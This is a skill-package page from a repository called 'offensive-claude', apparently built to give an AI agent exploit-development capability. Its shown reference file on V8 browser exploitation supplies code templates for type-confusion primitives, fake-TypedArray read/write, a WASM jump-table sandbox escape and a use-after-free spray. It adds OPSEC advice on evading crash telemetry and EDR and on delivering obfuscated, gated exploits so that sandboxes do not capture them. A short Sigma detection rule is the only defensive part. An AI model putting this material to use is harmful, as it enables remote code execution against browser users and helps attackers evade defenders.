hypnguyen1209/offensive-claude / skills/exploit-development
exploit-development
VerifiedUse when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.1 KB |
| references/browser-jit-uaf.md | markdown | 8.3 KB |
| references/exploit-feasibility.md | markdown | 3.2 KB |
| references/format-string-leaks.md | markdown | 7.2 KB |
| references/heap-glibc-fsop.md | markdown | 9.3 KB |
| references/kernel-exploitation.md | markdown | 10.4 KB |
| references/stack-rop-mitigations.md | markdown | 9.7 KB |
| scripts/exploit_context.py | script | 10.5 KB |
| scripts/feasibility_profile.py | script | 9.3 KB |
| scripts/fmtstr_leak.py | script | 3.5 KB |
| scripts/heap_fsop.py | script | 4.5 KB |
| scripts/kernel_lpe_skeleton.c | other | 6.5 KB |
| scripts/offset_finder.py | script | 3.6 KB |
| scripts/rop_autochain.py | script | 4.1 KB |
| scripts/safe_linking.py | script | 2.5 KB |
| scripts/v8_primitives.js | script | 4.7 KB |
references/browser-jit-uaf.md
View on GitHub# Browser / JIT Type Confusion & UAF (V8)
CWE-843 (type confusion), CWE-416 (UAF). ATT&CK T1203.
## Theory / Mechanism
Modern JS engines (V8 in Chrome/Edge/Node, Electron) are the highest-value RCE surface. Every V8 object carries a **Map** (hidden class) describing its field layout. A **type confusion** makes the engine treat an object with Map A as if it had Map B, so field accesses read/write at wrong offsets — the seed for memory corruption.
The exploitation pipeline is canonical:
1. **JIT bug** — TurboFan or the mid-tier **Maglev** compiler makes an unsound assumption (e.g., elides a `CheckMaps`/bounds check it wrongly proves redundant, or mis-untags a Phi). 2024-2025 bug classes: redundancy-elimination removing a `CheckMaps` (CVE-2025-13223), Maglev Phi untagging OOB (CVE-2024-12693), incorrect WriteBarrier in `Object.assign` fast path causing UAF (CVE-2025-0445), `AccessInfo` for module-namespace object causing Maglev type confusion (CVE-2024-4947), inline-cache corruption via crafted Proxy (CVE-2025-10585, exploited ITW).
2. **addrof / fakeobj** — confuse an *object-element* array with a *float (double) element* array. `addrof(obj)` leaks an object's address by storing it in the object array and reading the float view; `fakeobj(addr)` does the reverse to fabricate an object at a chosen address.
3. **Arbitrary R/W (in-cage)** — fabricate a `JSArray`/`TypedArray`/`ArrayBuffer` whose backing-store pointer you control; reading/writing the typed array now reads/writes chosen addresses. Note: under **pointer compression** this R/W is within the 4 GB V8 heap cage, not truly arbitrary.
4. **V8 Sandbox ("Ubercage") escape** — the cage prevents corrupting memory outside the V8 heap, so addrof/fakeobj alone no longer yield native code exec. The historic escape pivoted on a **WASM instance's RWX pointer**; V8 then moved WASM instances into *Trusted Space*, killing that. Current escapes corrupt the **WASM jump table** (which still lives inside the sandbox) to redirect a compiled WASM function to JIT'd shellcode (used to weaponize CVE-2025-13223), or attack trusted-pointer-table indices / leftover raw pointers.
## Working Code
### addrof / fakeobj from an element-kind confusion (template)
```javascript
// Assumes a primitive 'corrupt(arrA, arrB)' that confuses the element kind of arrA
// (PACKED_DOUBLE_ELEMENTS) with arrB (PACKED_ELEMENTS) — the bug-specific trigger.
var float_arr = [1.1, 2.2, 3.3, 4.4]; // PACKED_DOUBLE_ELEMENTS
var obj_arr = [{}, {}, {}, {}]; // PACKED_ELEMENTS
function f2i(f){ dv.setFloat64(0, f, true); return dv.getBigUint64(0, true); }
function i2f(i){ dv.setBigUint64(0, i, true); return dv.getFloat64(0, true); }
var dv = new DataView(new ArrayBuffer(8));
function addrof(o){
obj_arr[0] = o; // store object pointer
trigger_confusion(); // now read obj_arr as doubles
return f2i(float_arr[0]) & 0xffffffffn; // compressed 32-bit pointer
}
function fakeobj(addr){
float_arr[0] = i2f(addr);
trigger_confusion(); // read float slot as an object pointer
return obj_arr[0];
}
```
### Stable arbitrary R/W via a fake TypedArray (post-confusion)
```javascript
// Build a fake JSTypedArray whose backing store we control, giving in-cage R/W.
var ab = new ArrayBuffer(0x1000);
var ta = new Float64Array(ab);
// 1. addrof a real TypedArray to read its Map + ElementsKind, then forge one in a
// controlled float buffer and fakeobj() it.
var controller = [i2f(map_ptr), i2f(props), i2f(elements),
i2f(0x1000n), /* byte_length */
i2f(backing_store_addr), /* base_pointer/external ptr */ ];
var fake = fakeobj(addrof(controller) + 0x10n); // overlay fake TA header
function read64(addr){ set_backing(fake, addr); return f2i(fake[0]); }
function write64(addr,v){ set_backing(fake, addr); fake[0] = i2f(v); }
function set_backing(ta_obj, addr){ /* write addr into controller backing-store slot */ }
```
### V8 Sandbox escape via WASM jump table (concept + harness)
```javascript
// 1. Instantiate a tiny WASM module exporting a function -> allocates a jump table
// inside the sandbox that points at JIT-compiled code.
const bytes = new Uint8Array([0,97,115,109,1,0,0,0, /* ...minimal module... */]);
const inst = new WebAssembly.Instance(new WebAssembly.Module(bytes));
const wfunc = inst.exports.main;
// 2. Use in-cage arbitrary write to overwrite a jump-table entry with the address of
// a WASM-compiled region you primed with shellcode bytes (encoded as f64 constants).
let jt = read64(addrof(inst) + WASM_JUMP_TABLE_OFF);
write64(jt, addrof_shellcode_region);
// 3. Calling the exported function now jumps to attacker code (RWX WASM area in-cage).
wfunc();
// NOTE: offsets (WASM_JUMP_TABLE_OFF) are V8-version specific; resolve per d8 build.
```
### Generic UAF reclaim (engine-agnostic, also applies to DOM/Node addons)
```javascript
// 1. Allocate victim of size S holding a callback/vtable-like field.
// 2. Free it (drop refs + force GC: for(let i=0;i<1e6;i++) new Object()).
// 3. Reclaim the slot with attacker-controlled bytes of the SAME size class.
let spray = [];
function reclaim(controlled_bytes){
for (let i=0;i<0x2000;i++){
let a = new ArrayBuffer(S);
new Uint8Array(a).set(controlled_bytes);
spray.push(a); // keep alive so the freed slot stays overwritten
}
}
// 4. Trigger use of the freed object -> dereferences attacker-controlled field.
```
## Detection
```yaml
# Sigma (Windows endpoint): renderer/Node spawning a child or crashing repeatedly
title: Browser Renderer Anomalous Child or Crash Loop
logsource: { product: windows, category: process_creation }
detection:
renderer_child:
ParentImage|endswith: ['\chrome.exe', '\msedge.exe', '\node.exe', '\electron.exe']
Image|endswith: ['\cmd.exe', '\powershell.exe', '\rundll32.exe', '\wscript.exe']
condition: renderer_child
level: high
```
Telemetry/IOCs: `chrome_crashpad`/Crashpad minidumps and renderer restart bursts (failed type-confusion attempts crash the renderer); a renderer (`--type=renderer`) or Node/Electron process spawning a shell or LOLBin (post-sandbox-escape); RWX WASM regions with non-WASM byte patterns (memory forensics); JS with telltale exploitation idioms (`Float64Array`/`BigUint64` punning loops, `WebAssembly.Instance` immediately after large array sprays, tight loops calling a function ~100-1000x to force Maglev/TurboFan). Network IOC: served `.js`/`.wasm` containing those patterns.
## OPSEC
- **Stay in-cage until ready**: corruption confined to the V8 heap won't crash other processes; only the final jump-table pivot touches executable memory. Validate primitives before the irreversible escape step.
- **Don't crash on failure**: a renderer crash generates a Crashpad upload (telemetry to the vendor and EDR). Wrap triggers in `try/catch`, sanity-check leaked pointers (compressed pointers are 32-bit, non-zero, even-tagged) and bail cleanly rather than faulting.
- **Version-pin**: Map pointers, ElementsKind constants, and `WASM_JUMP_TABLE_OFF` change between V8 builds; fingerprint `chrome://version` / `navigator.userAgent` (or `d8 --version`) and select offsets. A wrong offset = instant crash IOC.
- **Spray cleanup**: release the reclaim/spray arrays after you have stable R/W to shrink the renderer's RSS footprint and reduce GC pauses that look anomalous.
- **Delivery**: obfuscate the JS, gate execution on a one-time token/UA so sandboxes and crawlers don't trigger (and capture) the exploit; serve over TLS with short cache lifetime.
## References
- Sentrium: CVE-2025-13223 / 13224 V8 type confusion (TurboFan CheckMaps redundancy) — https://www.sentrium.co.uk/labs/google-chrome-v8-type-confusion-zero-day-vulnerabilities-cve-2025-13223-cve-2025-13224
- CVE-2025-10585 (V8 type confusion, ITW, 6th Chrome 0day of 2025) — Chrome stable advisory / NVD CVE-2025-10585
- Exodus Intel: CVE-2024-0517 Maglev OOB write + WASM Ubercage bypass — https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/
- Matteo Malvica: "Intro to Chrome Exploitation — Maglev Edition" — https://www.matteomalvica.com/blog/2024/06/05/intro-v8-exploitation-maglev/
- TrustFoundry: addrof/fakeobj primitives — https://trustfoundry.net/2025/03/28/browser-exploitation-basics-explaining-the-addrof-and-fakeobj-primitives/
- mwlik/v8-resources (dated index of V8 security writeups) — https://github.com/mwlik/v8-resources
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |